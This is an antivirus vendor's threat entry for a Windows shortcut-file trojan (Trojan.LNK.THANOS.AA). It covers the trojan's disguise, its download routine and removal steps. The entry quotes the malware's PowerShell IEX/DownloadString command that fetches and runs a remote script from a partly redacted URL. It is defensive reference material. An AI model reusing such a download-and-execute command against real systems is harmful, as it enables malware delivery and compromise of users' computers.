Analysis by: Lorenzo Martin Lopez
ALIASES:

BZC.YAX.Nioc (IKARUS)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It uses common file icons to trick a user into thinking that the files are legitimate.

  TECHNICAL DETAILS

File Size: 2,226 bytes
File Type: LNK
Memory Resident: No
Initial Samples Received Date: 19 Feb 2021
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan uses common file icons to trick a user into thinking that the files are legitimate.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://www.{BLOCKED}c.de/k/bgk6/17lim → runs the powershell script that connects to the following URL
  • https://www.{BLOCKED}c.de/k/bgk5/fsqz7/ → detected as Trojan.PS1.THANOS.AA

Other Details

This Trojan executes the following PowerShell commands:

  • IEX ((new-object ((Net.Webclient))).((Downloadstring)).Invoke(https://www.{BLOCKED}c.de/k/bgk5/fsqz7/))));

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 16.568.04
FIRST VSAPI PATTERN DATE: 01 Mar 2021
VSAPI OPR PATTERN File: 16.569.00
VSAPI OPR PATTERN Date: 02 Mar 2021

Step 1

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.LNK.THANOS.AA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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